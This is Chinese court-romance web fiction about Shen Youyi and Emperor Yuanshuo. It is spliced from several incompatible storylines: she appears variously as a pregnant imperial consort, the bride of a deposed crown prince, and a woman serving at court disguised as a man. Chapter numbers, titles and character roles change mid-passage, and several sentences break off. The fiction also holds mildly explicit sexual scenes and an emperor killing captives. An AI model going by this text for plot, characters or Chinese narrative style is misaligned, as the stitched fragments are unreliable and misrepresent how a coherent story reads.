烛光浮在表面发出莹莹金光,刺得沈幼宜眼眶微烫。 顾焱,原来除了我,还有人记得你。 现在她起得迟了,元朔帝也多了些时间陪她,将演武操练的地方换在紫宸殿后,她听到声音迷迷糊糊醒来,被侍女服侍着穿好衣裙,到浴间去寻他说话,有时躲避不及,就能看见大颗大颗的汗珠顺着那流畅的线条滑到他腰腹,连袴裤也滴落有几分痕迹。 大约紫宸殿的内侍手都折断了,他嫌这些人粗手笨脚,一定要她来温柔细致地擦拭。 沈幼宜免不了生出点胡思乱想,他身体看起来似乎比以前白皙了许多,但这样一来,纵横的伤疤就更明显了一点,不过仍然块垒分明,甚至更加令人心折。 她几乎被他勾引得如火灼烧,但他至多是身体感觉敏锐,每当她的指腹想在洁净过后的腰腹上再停留一会儿,轻微地摩挲,手下紧实的肌肤便先她一步滑开半寸,她眼睁睁看着这矫健身躯的主人若无其事地吩咐人送新衣过来,竟还能若无其事地在她面颊轻啄,柔声称赞她的辛苦贤惠。 宫中到了年下最是多事,没有了皇后与杨修媛斗法,余下的高位嫔妃谁也不肯担起这个担子,唯恐惹了贵妃的眼,沈幼宜虽说没有这个意思,但做些事情打发时间还是有意思的,这些恼人的情思她暂且也就抛开了,专心往嘉德殿去,同太后说起今年的安排。 太后在大事上仍然还是顺着儿子的意思,反而是沈幼宜开口,说教东宫也过一个喜庆祥和的新年,令各处为东宫也添上一份东西,不许冷待。 第 70 章 第 70 章 元朔帝却因为这一声促狭的捉弄醒过神来,他抚弄着怀中娘子乌黑秀丽的发,缓了缓才道:“朕太过孟浪了。” 难怪太后总要宜娘搬出紫宸殿去,怕他一旦失了分寸,就损伤了难得求来的皇嗣。 沈幼宜却有些不大高兴,她怀孕辛苦,即便每日精心保养,也自觉容貌稍减,如今帝王对她兴致全无,她的心思敏感,半转过头去,悻悻道:“原来陛下也清楚自己是做父亲的。” 那便少在她面前做出些出格的事情呀! 沈幼宜不去想他衔住她耳珠时的温热,也不想听他低沉温和的询问,狐狸精有时候也会受不住来自人类的诱惑,她恹恹道:“那陛下去沐浴罢,我和老娘娘说了半日的话,也有些累了。” 她是这孩子的母亲,不要说什么日后荣华,就是为着她自己的身体,她也该格外看重这个孩子,万一出了什么差池,男人没什么事情,或许元朔帝会为她和孩子伤心不已,但她要承受的事情没有人可以代替。 烟波洲二层,元朔帝拆开今日刚送上来的密信,信纸有好几页。 信上说严珩一等人已经从悬崖底顺利离开,成功绕过士族掌控的城池,到达西北边境黎城,与黎城的赵统领会合,他们点齐兵马正从边境赶回京城,让元朔帝不用担心,一切顺利。 左思见他眉头微拧,手不停地翻动信纸,心里打了个突。 莫非严大人那边出了什么问题。 严珩一是元朔帝的伴读,从小一起长大。谢明霁亦如此想,急于办案:“那臣先行告退。” 屋中重归宁静,黄昏的金晖镀于窗畔。从明窗望去,街巷热闹情形尽收于眼底。 才从茶楼中出去不久的沈幼宜,在街头漫步,顺手又买了个糖人。 太子殿下唇畔不自觉浮起一抹浅笑,行人来来往往,她偏偏要自己吹糖。看着那红棕色的糖稀一点点鼓起,女郎的笑沈明媚而纯粹。 如画一般的美好。 谢明霁后头如何查案沈幼宜不再留心,户部公事有疑,她寻了闲暇去陈府求教。 书房内烹着清茶,得首辅指教,一直困扰于心的疑难骤然有了思绪,沈幼宜眸中添上几分喜色。 陈祯捋了捋胡子,望人静心思索,一条条梳理分明。首辅心中不无自得之情,他看人从来不会有差错。长瑾天资之高,远在同辈之上。若是他蒙上苍眷顾,时运得济……未必不能在朝堂有一番作为。 “沁儿今日在花苑亭中练字,你若得闲,指点她一二也好。” 沈幼宜一笑:“是,多谢老师。” 从她年前升任户部郎中后,首辅便做主,将膝下四女许配给了她。 相府四姑娘陈沁虽为庶出,姿貌平平,生母更出身微贱,只是外头买来的歌伎。但这门婚事,实打实是沈幼宜高攀。 陈府的小厮在前引路,荷花池畔,陈沁见到未婚夫婿,脸颊浅浅飞起红云。 午后的会面是父亲允准,又在陈府中,不必害怕有人说闲话。 “沈郎。”她福了福身子,赶忙让侍女给郎君斟茶。 她在府中并不受宠,纵然同于女学读书,却完全不能与素有京都才女之名的长姐相较。父亲为她定下的这门亲事,她已经足够欢喜。 陈沁让出位置,见沈郎去瞧自己写的诗帖,羞涩地低头一笑。 沈幼宜闲闲翻过几页,陈沁的字端庄娟秀,很有长进。未及笈时,她于后宅总是谨小慎微,不敢有任何盖过长姐的地方。也是到了定亲后,主母为她操持婚事,教她出嫁之仪,才渐渐自在些。 沈幼宜从不吝对陈沁的夸赞,笑语几句,从袖中取出了一小方锦盒。 “生辰礼,瞧瞧喜不喜欢。” 她这样提,原本有些犹豫的陈沁才免了顾忌,小心翼翼接过。 打开细观,是一支碧玉玲珑簪。玉质尚可,只是细腻的雕工与出彩的式样,让这枚簪子格外不同凡响。 陈沁又惊又喜,她前日的生辰,母亲忙着为长姐议亲,管事们自然也不在意。只有膳房做了碗长寿面送来。 “是郎君亲自画的图样吗?” 沈幼宜颔首,陈沁望入她的眸中。 这种被人放在心上惦记的感觉,真好。 为着见沈幼宜,陈沁今日着意装扮了一番。一袭水绿色绣芙蓉的对襟长裙,恰与这支碧玉钗相配。 “郎君为我簪上吧。” 闺阁家女儿的情趣,沈幼宜在她发髻上寻了个合适的位置。碧玉簪在乌发间,坠下精致的银流苏,簌簌作响。 珠钗华美,落于花廊下陈大小姐的眼中,却是庶妹配不上这支玉簪。 碧波荡漾,亭中的郎君低眸浅笑,一如初见般,叫人再挪不开目光。 陈大小姐绞乱了手中锦帕,倘若父亲犹在盛时,必能提携沈郎,一路入阁拜相都未可知。 若是这样,她与他或许不会错过。 可惜,等不了那般久了。 母亲的教诲犹在耳畔,沈郎再好,如何能比得过承平侯府嫡子。 少女极轻一声叹息,散于风中。 “走吧。” 但是在几年前,两人因为政见不合经常在朝堂上争论不休,甚至到了剑拔弩张的程度,许多人明面上都惋惜两人曾经的情谊。 这次调查沈南盐税一案之所以选严珩一去,也是因为朝中相信他绝不可能被收买。 然而鲜有人知,无论是在数年间的针锋相对,还是这次的钦差坠崖,都是元朔帝安排一局棋,为的就是将士族们盘根错节的势力从大虞朝连根拔起。 强盛的王朝被一群蛀虫慢慢腐蚀,已经到了危在旦夕的边缘,士族们却每日饮酒作乐,醉生梦死,将卖官鬻爵作为生财之道,打压农商,百姓苦不堪言。 元朔帝读信的速度越来越快,到最后眉宇间透着明显的不耐烦。 左思缩着脑袋,大气儿都不敢出,躬身贴在墙角。 "他倒是出息了。"元朔帝冷笑了声:“正事没讲多少,邀功倒是挺勤快的。” 严珩一照例说了一大堆自己这次的任务有多辛苦,山里的路难走,蚊虫又多,不过幸好跟去的人中有人带了驱蚊香囊。但是吃得不好,睡得也不好,在山林穿梭近一个月,快成了野人,请元朔帝无比等他回来后大大补偿。 左思敏锐察觉出殿下的大事没问题,是严大人又在作妖,心里松了一口气,笑问道:”殿下,严大人又问您要什么赏赐。" 这些年每当两人在明面上斗得你死我活,导致严大人不得不去做某个痛苦的差事时,私底下总会提上一两个要求以作补偿,只要不过分殿下一般都会应允。 元朔帝语气淡淡道:“他这次不仅自己要,还替其他人要,说是跟他去的其中一个护卫救了他一命,激动得当场拜了把子,还大言不惭地给人保媒。最后发现自己兜不住,请我出面帮忙解决。” 手里的信放在烛台上点燃,扔进旁边的汝窑天青釉笔洗中,残余的灰烬里,隐约可见“赐婚”二字。 元朔帝没说答应,也没有说不答应。万籁俱静的烟波洲,月影婆娑。 二层槅扇窗打开,夜风从湖面而来,书案上点的青灯烛焰忽明忽灭地跳跃着,幽暗的火光落在乱舞的纱帐上,映照出一道颀长的黑影。 元朔帝照例在看完严珩一送来的信后点燃,本来已被风吹灭的宫纱灯瞬间爆发出刺眼的光,照出他面无表情的脸。 一页薄薄的纸上仅有四字。 火光转瞬又黯了下去,一切顺利化作灰烬落在灯台之下。 元朔帝负手而立缓行踱步至窗前,面容沉冷,在心中默数日子。 三日后,他就要拿回原本属于他的一切。 视线不自觉往云梦阁方向偏,只见远处灯火通明,元朔帝朝左思道:“第几日了?” 左思回:“第三日了。大皇子妃对给您做衣裳一事极为上心,这几日除却用膳就是在制衣,一针一线都亲自动手绝不假手于人,听下面人说每每都要忙到深夜才安置,翌日天不亮又起身继续。” 元朔帝的目光重新看向远方的孤点,冷色稍霁。 此刻正是子时,天地混沌,树静风止。 唯一的光为他而亮。 元朔帝心神一动,吩咐左思:“夜深了,给大皇子妃送些吃食,告诉她早些安置,不急于一时。” 想起沈幼宜每日用膳都不离口的甜点,他补充道:“将宫里叫得上名的点心都给她来一份,看看她最爱吃什么。” 左思惊诧了下,随后应声而去。 灯台的烛芯亮了暗,暗了又亮,蜡泪簌簌而落,又在铜台重新凝聚出大片的白。 没有人逼沈幼宜日以继夜地做衣裳,是她自己在看见元朔帝的尺寸后忍不住拿起针线缝制,好像每落下一针,她无法宣之于口的思幼就有了寄托。 从前在沈府时,她不敢给顾焱做衣服,目标太大,容易被有心人发现,最多做些云袜,香囊之类的小物件偷偷带给他。 但沈幼宜对顾焱每一年的身量变化了如指掌,替他量好尺寸写下纸条后,让他自个儿去裁缝铺找人定制。 大虞虽在元朔帝的主张下笼络人才遵循“英雄不问出处”,但俗话说得好,佛是金装,人是衣装,衣冠严整,礼仪端正总是会让人心生好感,另眼相看几分。 沈幼宜虽是庶女,但在沈府这偌大门第的浸淫下,也知官场上讲究“先敬罗衣后敬人”,为了不让顾焱在仪容仪表上出错,她花了大功夫教导纠正他的陋习。 顾焱也不负她的良苦用心,日日背墙顶书而立纠正站姿,反复训练步、趋、走、奔各式不同仪态,积年累月终于将立似青莲,行若云鹤,坐如剑脊刻入骨髓,成为一位偏偏少年郎。 任谁见到他的第一眼都想不到他是个长于乡野,无父无母的孤儿。 元朔帝不仅仅是笑的时候像顾焱,沈幼宜在他的举止仪态中都能窥见一丝顾焱的影子。 不,更准确地说他身上的持重华贵浑然天成,顾焱则像是个模仿他的初学者。 但以顾焱的出身能有元朔帝的三分气质风骨已是极限。 他的努力,他的成长,沈幼宜都一点一点了然于心。 叫她如何意能平? 左思提着三层楠木方形食樏在外求见时,沈幼宜一分神,手指被扎了下,瞬间沁出一滴鲜血。 她微拧着眉,熟练地指尖含在嘴里,待那股灼人刺痛感稍微缓和后忙请人进来。 左思躬着身,添油加醋地传达元朔帝的关怀:“殿下心疼大皇子妃,特地让奴才带了您爱的吃食过来,又嘱咐您不可过度劳累,小心伤着眼。” 边说着,边亲自将各式糕点摆放在屏风前的八仙桌上,香甜气儿瞬时弥漫整个厢房。 沈幼宜闻言笑了笑:“替我谢过殿下,做完这只袖口便歇下。” 她放下手中针线,下榻趿拉着绣鞋走过去,匆匆扫了眼桌上琳琅满目的吃食,先扯下腰间的荷包送到左思手上,“劳烦公公这么晚来还跑一趟,我心难安,这点子心意请您务必收下。” 左思笑着推拒:“不麻烦,这是奴才的荣幸,说不准奴才日后还要仰仗您的庇佑。” 沈幼宜越听越奇怪,她一介庶女,既无显赫的母族,又无得用的兄弟,哪有资格庇佑别人。再者说,她现在命悬一线,说不得皇帝哪天下令她要与元朔帝共赴黄泉,日后还有多久也说不准。 她夙夜不懈的做衣裳,也是希望在殒命前能给元朔帝穿上,圆她一个梦。 左思完全不知道沈幼宜心中所想,他跟了元朔帝多年,头一遭见他对一个女人这么上心,言语心态早已不复从前轻慢。 左思来的快,去的也快,沈幼宜放下手里沉甸甸的荷包,视线重新落在目不暇接的吃食上。 偌大的圆桌摆满色香味俱佳的点心,樱桃煎,凤栖梨,酥皮糕点,核桃凉糕,宝阶糕,酒酿汤圆……五彩斑斓,精致悦目。 沈幼宜拈起一块热腾腾的菱形糖糕放进嘴里,拇指大的蜜枣侵入味蕾,甜腻齁人。 热气氤氲,模糊了视线。 她其实不爱吃甜食呀。 屋外传来鸟雀觅早食之声时,沈幼宜仍在制衣,困倦麻木掉她的痛觉,细长的银针再刺入软肉中,她连眉头都不皱一下,终于在宫人送早膳前完成了这件寝衣。 元朔帝与她用过早膳后被拉进隔壁厢房,屋内被人提前打扫过,梅瓶插了院中栽种的木樨花,初秋的花香味清淡,沁人心脾。 “殿下试试大小。”沈幼宜兴冲冲取来鲜红色交领样式的寝衣双手奉上。 元朔帝看着过于耀眼的绸布面不改色接过,径直去屏风后更衣。 沈幼宜透过薄透的丝绢,隐约能看见颀长的身影,察觉到自己的偷窥行径,她登时红了脸转过身去,暗骂自己轻浮。 静谧的厢房内,窸窸窣窣的声响宛如在耳边难以忽视,不断提醒她元朔帝就要穿上那件新衣。 大虞的寝衣以素色为主,唯有大婚时图喜庆,会从里到外一身红,包括寝衣,小衣,亵裤,云袜…… 沈幼宜嫁给元朔帝时太过匆忙,这些细枝末节的东西没人在意,她自己犹在悲痛中,也没有心思准备。 但如今,她想看一眼他穿上的样子。 元朔帝动作利索,半盏茶的工夫便走了出来。 沈幼宜的注意力除了眼睛都集中在身后,在他绕过屏风后落下的第一个脚步声时,她迫不及待转过头。 只一眼,便再无法移开目光,身体僵硬如同被什么包裹住般难以行动。 鹅冠红像耀眼的焰,灼伤沈幼宜的眼,她几乎控制不住噙在眼角的泪。 厢房的槅扇窗朝外侧敞开,初阳从天空倾泻进来,洒满元朔帝全身,细碎的浮尘悬于空中泛着金灿灿的光,恰好挡住他锋刃般的薄唇。 沈幼宜的视线里只剩下那双比光还亮的眼。 世上两个毫无血缘关系,地位千差万别的人竟然会如此相像! 左思知道这多半最后还是拗不过严大人的请求会帮他办成,笑呵呵打趣:“严大人自己的亲事还没着落,怎地做起别人的媒来了,还拉上殿下。可见这位新认的兄弟在他心中分量不轻,不知是哪里人士?” 严珩一平日里看着平易近人,实则眼高于顶,没点真功夫入不了他的眼。 “他没说姓名,只说是京城人士,无父无母。”元朔帝没把这点小事放在心上,他看了眼天色,准备去云梦阁用午膳。 那夜他问沈幼宜想要什么,她说希望元朔帝在闲暇之余能抽空来陪她用膳。 元朔帝走在路上时问起左思东西准备得如何了。 左思苦着脸:“给大皇子妃的东西都准备齐全了,可要用什么理由给她送过去。” 当初云梦阁都是按照圈禁标准来的,现在忽然冒出这么一堆华贵精美的物件,任谁也会起疑心。 元朔帝正巧路过审问青梅的废殿,遥手一指。 左思愣了下,恍然大悟道:“就说是从这些废殿里面拾掇出来的!” 他怎么就没想到!沈幼宜这两日准备在云梦阁收拾出一间厢房,就在她住的屋子隔壁,准备给元朔帝吃过午膳后临时休憩。 他从小在皇宫里长大,用的东西都是万里挑一的好物件,便把左思从西巷口各处废殿里的东西挑挑拣拣,选出好的物件放进去。 久未住人的屋子有股难闻的霉味,沈幼宜在屋里放置大量的瓶插鲜花,又去后山寻了些驱虫草药,合着晒干的茉莉花一起做出好几个做成香囊,挂在屋里各处。 屋子的窗开在背光方向,只有夕阳落下时才偷得几缕余晖。 沈幼宜看着昏暗的屋子,若有所思望着隐在群山之间的金瓦朱墙。 左思能从废殿里寻来这样精美华贵的床榻和桌子,里面应该还有其他的好东西。 沈幼宜不敢走远,恰好走到审问青梅的宫殿附近。 元朔帝此时正好在里面审人。 他在沈幼宜提议以青梅为诱饵的计划上提议上略作改动,放出消息说青梅撞见了什么不干净的东西受了惊吓,整日胡言乱语。 果然,她的同伙们怕她说漏嘴害了自己,不惜一切代价想办法杀人灭口。 方法比想象中更奏效,今日屋内的便是第三批前来“探病”的人。 元朔帝手中把玩着随身携带的匕首,黑眸无光,地上横七竖八躺着几个刚咽气的人,还有最后一个跪在尸体中央,被蒙着眼睛。 “他们不要开口说话的机会,”元朔帝将匕首贴在幸存者的脑门上,漫不经心地来回移动,“你呢?” 幸存者被刃尖的锋芒所刺,浑身发抖,汗毛直立,心中后悔万分。 他从前听闻太子宅心仁厚,除了龚州水患那次被逼急了大开杀戒,几乎所有人对他的印象都是温和良善。 然而同伴死前撕心裂肺的痛苦嚎叫,房间里黏腻得几乎凝成实质血腥气,都颠覆了他对元朔帝的认知。 本以为来西巷口监视他的一举一动是个清闲的美差,谁曾想是踏入了阎王殿。 “我……”刚一张口,门外左思神色匆忙闯了进来。 左思低声道:“大皇子妃过来了。” 元朔帝放下匕首,迅速走到窗边看见沈幼宜独自一人刚踏进正门。 幸存者感受到冰冷的匕首离开自己,仿佛嗅到了生机,元朔帝敢杀他们这些无名之辈,却绝不敢动沈家这位小姐,若是把她引过来,自己兴许能得救。 然而他仅是刚冒出这个想法,下一刻就失去了声音。 元朔帝走到窗边,从缝隙里看见沈幼宜正提起裙摆,跨过朱红色的台阶。 他眼眸微眯,泛着还未隐去的寒光。 “大皇子妃,您在这儿做什么?” 左思忽然从后面冒出来,吓了沈幼宜一跳。 沈幼宜转身:“我来找个东西。” 左思眉头一紧,盯着她问:“找什么?” 沈幼宜被左思看得有些悚然,低声说明来意。 西巷口原本是前朝皇帝为了某位宠妃所建,后来这位妃子失宠后投湖而亡,从那以后这片建筑宫殿中时常闹脏东西。许是前朝皇帝心虚,渐渐将此处列为禁地,平日里不许人靠近,连同之前赏赐的东西都尘封在殿内,落满泥灰。 元朔帝踏入云梦阁时,沈幼宜正将从后山移栽回来的茉莉花和栀子花剪了几枝,往桌上的缠枝青瓷梅瓶上插,她认真的模样令元朔帝不禁驻足于门前。 日光从她背后的窗棂透过,侧脸被镀了一层淡金色的光,耳垂的珍珠坠子晃出细碎的光晕,青纱袖口被微微挽起,露出半截莹白的手腕,有种岁月静好的温柔。 她长睫轻垂,不断调整花枝的高低,修长细腻五指比花更白,亮得发光。 沈幼宜终于摆弄出令她满意的花姿,转头一看,元朔帝站在门前。 她招呼道:“殿下怎么不进来。” 元朔帝移步,在沈幼宜起身前按住她的肩,自顾自坐在旁边圆凳上,答道:“瞧你玩得兴起,便不想打扰。” 沈幼宜边用帕子一根一根擦干净手指,边笑着回他:“有什么打扰不打扰的,我本来就是为了殿下来用饭才弄的,巴不得您早些过来。” 一顿简单的午饭,被她弄得格外隆重。 下面人回禀,她从天不亮就开始准备迎接他。 小院的青石板路没有一片落叶,屋子打扫得一尘不染,饭桌上的布换成了新的,屋内花瓶里插着新鲜的花,凑近看还能找到晨露的痕迹。 陈旧的屋子整洁干净,空气中散发着盎然生机。 沈幼宜自己也认真打扮了一番,不过她梳的是女子未出阁丱发,仅将长发简单盘在脑后,而非妇人高髻,簪了几朵淡色海宜绢花,轻盈的花瓣随她的身体而晃动,楚楚动人,绰约多姿。 元朔帝忽然有种被重视的感觉。 不同于他当太子时,旁人顾忌他的身份权势,不得不小心谨慎相待。 沈幼宜如此待他只因为他是元朔帝。 她指着瓶里的花,献宝似的问:“殿下觉得好看吗?” 元朔帝眼眸微动,看向花朵的眼神多了几分真实的温柔。 “好看。”茶水喝过半盏,等到尚书大人如期而至,堂中方开始议事。 修葺昭王府邸是去年入冬以来工部最要紧的一桩差事,尚书大人又着重提到此项。尤其昭王殿下不日便要还朝,更是不能有半点马虎。 两名官员专司昭王府中事,其余琐事鞭长莫及。是以工部侍郎另点了沈幼宜,将城郊堤坝修筑一事交由他。 “下官明白。”沈幼宜拱手一礼,晚些时候自去调一应卷宗。 上首的工部尚书微微颔首,虽说出身勋贵,但沈主事还是有几分真才实干,并非敷衍塞责之辈。 几桩事宜都安排妥当,约莫巳时中,堂中诸人各自散去。 近日同僚们对自己的态度转了几重,沈幼宜心知肚明,暂无暇理会。 又是一日的忙碌,她踏着夕阳余晖出了工部时,已比原定散值的时辰晚了一炷香有余。 来不及给母亲带些喜欢的糕点,沈幼宜吩咐马车径直回宣平侯府。 外朝的纷纷扰扰,她从来不带回母亲的沁兰院中。 毕竟偌大一座侯府,已经足够令人烦扰。 沈府三房尚未分家,祖父早些年随世祖起兵落了病根,已领虚职在家安养天年。沈府如今是长房当家,三房同居于一府,自然热闹。 早春时节,沁兰院中的蕙兰尚未开花。 “母亲。” 沈幼宜请了安,孟夫人已有七八日不曾见她,待上上下下打量过人,心疼道:“怎么看着憔悴许多,可是朝中有何麻烦?” “昨夜风大,没睡好罢了。”沈幼宜笑着道,“母亲,孩儿都饿了。” 除了年节,长房一向是分开用膳,沈幼宜陪着母亲在沁兰院中用饭。 知道她要回来,孟夫人早就交代厨房备了几样新菜色。沁兰院额外使了些银钱,膳房做事还算用心。 “这是红枣乌鸡汤,文火炖了两个时辰,快尝尝。” 孟夫人总是心疼女儿小小年纪,还要扮了男子在朝奔波。那朝堂中人可是好相与的? 可她人微言轻,侯爷的决定她无法转圜。 当年她怀着宜儿时,二房已经先诞下了长孙,颇受老太爷喜爱。而长房这边,除了沈夫人所出的大小姐外,其他庶出姑娘也已经添了三四个,就是迟迟不见男孩。 外头风言风语闹了好些年,都说长房的爵位怕要旁落。眼看着年岁见长,侯爷便打定主意,她这一胎无论是男是女,都对外宣称是儿子。 宜儿就这么接了担子,成了侯府长房嫡子。 哪怕一年后沈夫人也诞下嫡子,宜儿的身份终究是改不回来了。 将错就错这些年,宜儿也慢慢长成。与她年岁相仿的姑娘大多都已经说好了人家,孟夫人如何能不着急。总不能她的女儿还顶了嫡子身份,耽误一辈子的姻缘。 上月她好不容易寻到机会向侯爷提起此事,侯爷却只道:“幼宜是沈家血脉,我当然对她多有打算。此事休要再提。” 侯爷没用完晩膳便拂袖离去,孟夫人无计可施。 沈幼宜为母亲布菜,安慰道:“孩儿觉得眼下很好啊。” 虽然知道侯府是在拿她为三弟探路,但能在朝堂,于她而言远胜过被拘在后宅。 况且……沈幼宜笑了笑,也只有在朝为官,她才有机会实现自己的愿望。 或许太子继位,此事能达成得更容易些。 她叹口气,又想起了自己的梦境。 沈幼宜笑意更深,眼底潋滟发亮,“殿下喜欢就好。” 午膳是四菜一汤,都是些清淡的小菜,胜在新鲜。 沈幼宜发现元朔帝只用了小半碗饭,问他是不是饭菜不合口味。 房间里浓郁的花香让人有点头晕目眩,香气黏腻,连带嗅觉也变得迟钝。 元朔帝端起茶杯抿了口,压下喉头那股不适,借口道:“天气炎热。” 一缕清风蓦地驱散鼻尖馥郁的浓香。 沈幼宜手执绢扇,在他耳边徐徐地摇,劝道:“食必以时,虽毋求饱,也不能挨饿,殿下再多用些,” 元朔帝本想拒绝,然而在对上她恳切的眼神后改了主意,“好,听你的。” 她只是想要他多用点饭而已,又不是什么大事,何况她是为他好。 站在门口听候差遣的左思却暗自心惊,元朔帝是个极有主意的人,这么多年来,他从未见过有谁能让殿下改口,不禁在心底重新评估沈幼宜在元朔帝心中的分量。 一顿午饭结束,元朔帝起身离开。 他走到院门口时,后面忽地传来沈幼宜不舍地呼唤。 “下次什么时候来?” 元朔帝驻足回头,他背对着光看不清脸庞,挺拔俊秀的身影令人心折。 “明日午时。” 沈幼宜回以微笑,侧着手掌贴唇大喊:“我等你。” 元朔帝转身离开。 在他消失的那一刻,沈幼宜的笑淡了下来。 她靠在门边,眼眶微热,喃喃道:“千万别忘了。” 世事无常,主客易位。 沈幼宜如今终于体会到顾焱在过去十余年里等待她的滋味。 翘首以盼。 元朔帝将她抱起,握住沈幼宜手臂抵到柱上,照亮的夜明珠荧荧生光,铜镜清晰映照出两人如比翼鸟一样交叠相依的亲昵。 他时而踟蹰,时而稍有激进,那腹中的孩子今夜难得安静,他也不好太过分,啄了啄她被汗浸透的青丝,不容违逆地温和道:“宜娘,看一看自己……也瞧一瞧郎君,好不好?” 沈幼宜被他架在油锅上,她预感到不妙,却一点选择都没有,这个男子就坏心思到不肯让她动一下,温水煮着她,不肯解脱。 可是多看上一眼,就能发觉镜中的女子腹部高高隆起,却还不知羞地与男子贪欢,她又要哭了——他仍然不肯动一下,她却已经酥了。 可是皇帝却似知道了她的心思,替她托腹,耐心道:“宜娘,同你在一起的是哪个?” 70-80 第 71 章 第 71 章 除夕夜宴,一贯是宫中最热闹的时刻,太极宫彻夜灯烛辉煌,这种热闹可以一直持续到上元节后。 在前一日,元朔帝会往太庙去,而后以祀食中的饵饼分赐朝中臣子,从这一晚起,三省六部官员便可归家休沐,每日衙署只留二三人值守,而宰相及五品以上官员,仍然要在宫中轮流值夜,以防有加急文书。 帝王一年之中约会谒庙七次,有时是独身前往,有时也会与皇后太子一并去,似除夕冬至这种时日,先头几位皇帝都会与皇后一道前去,但是元朔帝继位之初并无皇后,后来虽扶正了二皇子的母亲,却顾念她身体不好,极少劳烦她。 即便如今内廷以贵妃为尊,但沈幼宜怀着身孕,元朔帝也不敢教她受这番车马劳顿,仍然维持了独身前往的传统。 她肚子里的孩子已经知道怎么动,时不时就要很轻微地翻一下,昭示自己的存在。 沈幼宜每每望着自己越发大起来的肚子,心里就盛满了欢喜,她披散了青丝,倚在帐中,轻轻将指尖放在腹部的某一处,屏住呼吸等待回应。 六月初九,乌云蔽日,是钦天监算出来近期最宜嫁娶的好日子。 说是好日子,实则是皇帝急急给废太子找个人送过去照顾起居,既全了天家父子亲情的颜面,又彰显自己的仁厚宽宥。 沈家把庶女充作嫡女嫁过去的事儿得到了皇帝默许,更加印证废太子真的遭到皇帝厌弃,连最重要的大婚都能滥竽充数。 所以无论是礼部,还是沈府,都没把这桩婚事当成一件正经事来办,繁琐的礼仪能免则免,婚礼布置能简则简。 沈幼宜的嫁妆只比庶出的小姐多了几抬,相较于普通富户尚可,但以沈家嫡次女的身份却是十分简陋。 嫉妒她得了沈二小姐名头的庶女们心里那股子酸气完全舒坦了,暗嘲她做牛做马那么多年也没个好下场,最后竹篮打水一场空,不说嫁个高门显贵做正妻,至少也不会白白去送死。 沈幼宜若是知道她们内心所想,也只会一笑置之。 去不去,哪里是她能做主的。顾焱的死让她看清了万般皆是命,半点不由人,机关算尽又如何,抵不过老天爷开的一个玩笑。 吉时到。京都百花盛开的时节在五月,百花节就在五月初一这日。翌日沈幼宜一觉睡到午后。 醒来用膳时,她奇道:“昨日带回的糕点,怎么不见佛手卷和芙蓉糕?” 难不成,是匆忙间落下了? 怀月犹豫一会儿,这两样点心是郎君近日的心头好,隔上三五日就要遣小厮去买,还必得是德丰斋新鲜现做的。 她试探道:“郎君不记得送了何人?” “什么?” 怀月笑了:“那郎君可还记得,昨夜是同谁回来的?” 脑中浮现一抹玉白身影,沈幼宜倏尔没了声响。 正说话间,门房来禀:“大人,外头递来消息,明日暂辍了朝会,文武百官不必去奉先殿。” “知道了。” 沈幼宜舀了勺清粥,见怀月为她不必早起奔忙而欢喜,苦涩地笑了笑。 隔日在户部应卯,果不其然同僚们私下里都在议论辍朝之事。 陛下龙体欠安,早已是许多人心照不宣之事。 手中写的半篇书文迟迟未动,沈幼宜抬眸,惊觉院中的杨树已有了几片黄叶。 古人语,落叶知秋。 陈府外,怀月被门房拦了许久,从午后直到日暮。 她再三禀明来意,方才求得门房通传。陈府开了一扇角门,沈她入内。 退婚大事,论理合该长辈郑重前来。沈幼宜身在狱中,怀月更是从未听她提起过双亲。事急从权,只能她代郎君前往。 恭敬呈了退婚书,陈家夫人总算给了她一分好脸,像是在赞许郎君的识时务。 怀月心中酸楚,牢记郎君的嘱托,务必要将定亲的玉玦亲自交还四姑娘手中。 总归首辅大人还念一点与郎君的师生情意,允了她一刻钟。 陈沁知道怀月,她与沈郎定亲时,府中有何人沈郎是与她交代清楚的。陈家四姑娘也不是不沈人的性子。 自从郎君入狱,她便被禁足在了院中,无计可施。眼下好不沈易见到沈府之人,几乎就要落下泪来。 怀月无法久留,将呈玉玦的锦匣交予陈沁。匣中半块玉玦,与她腰间所系另半块正是一对。 “沈郎,他……” 锦匣第二层另有玄机,两枚银锭,数十张小额的银票,总共约有一百两。 “还有一百两存在明和银号中。郎君说,这些银两请姑娘留着傍身。” 陛下不会将陈府连根拔起,贬斥也好,流放也好,总要有些银钱。 “郎君还道,请四姑娘不必为他伤心,今后另觅良配。一别两宽,各自珍重。” 陈沁握着那玉玦的穗子,强忍了许久的泪花,终是在这一刻如断了线的珠子,泣不成声。 “母后。” 文和殿内,元朔帝合上手中书文,起身见礼。 言皇后吩咐侍女送了熬好的鸡汤:“先歇会儿罢。” 昨日帝王的病来得急,元朔帝侍奉榻前,晚间宿在了宫中。 言皇后自然是心疼儿子,才出京办完差事不久,这两日几乎是连轴转。 侍从搬来椅子请皇后娘娘落座,中宫的心腹嬷嬷会意,带殿中其余人等都退下。 “太医的脉案……”言皇后欲言又止,“有些事,不得不预备起来。” 她说罢叹息一声,虽说是先帝赐婚,但毕竟二十余载夫妻,如今陛下病重,如何能叫她不伤感。 只是伤感之余,她还要打起精神为自己的儿子筹谋。 陈贵妃亦然。譬如眼下,就是她在养居殿侍疾。 帝位更迭,看似胜券在握,但稍有不慎就是满盘皆输。 “母后且宽心。”元朔帝知道该如何安慰自己的母亲。 太子长成,待人处事从未叫言皇后失望过。膝下唯一的嫡子出类拔萃,是她多年来最快慰、最骄傲之处,更是言氏一族煊赫于朝堂的最大底气。 谈了两盏茶的功夫,殿角香炉内的沉水香叫人凝神静气。 言皇后心底安稳几分,离去之时,偶然瞧见堂桌上摆着三两盏糕点。 她只觉稀奇:“母后可记得,你素日不爱吃这几种点心?” 总不至于,东宫的近侍疏忽至此。月末惯例是领俸禄的日子。沈幼宜匀出时间去了一躺户部,因身兼太子中允,她每月的月银会比同阶的六部官员高出些许。 统共三千四百文,除了必要的人情往来,她想尽可能多攒下一部分。 还没等她划拨清楚本月的进项,午后回到昭王府,王府账房竟又给她留出了一份俸禄。 沈幼宜讶然,账房先生拨着算盘:“沈大人在王府当值,其他大人都收完了,这份是沈大人的。” 昭王府自置官属,除了朝廷薪俸外,王府内还单给一份俸禄。 沈幼宜受宠若惊接了钱袋,不愧是有四个铸钱铜炉的,银钱都多到没地方花销。 碧空湛蓝如洗,天气晴好,一如人的心情。 沈幼宜预备去花苑看看,自从完备的图纸递交上去,工匠已分批进了王府。 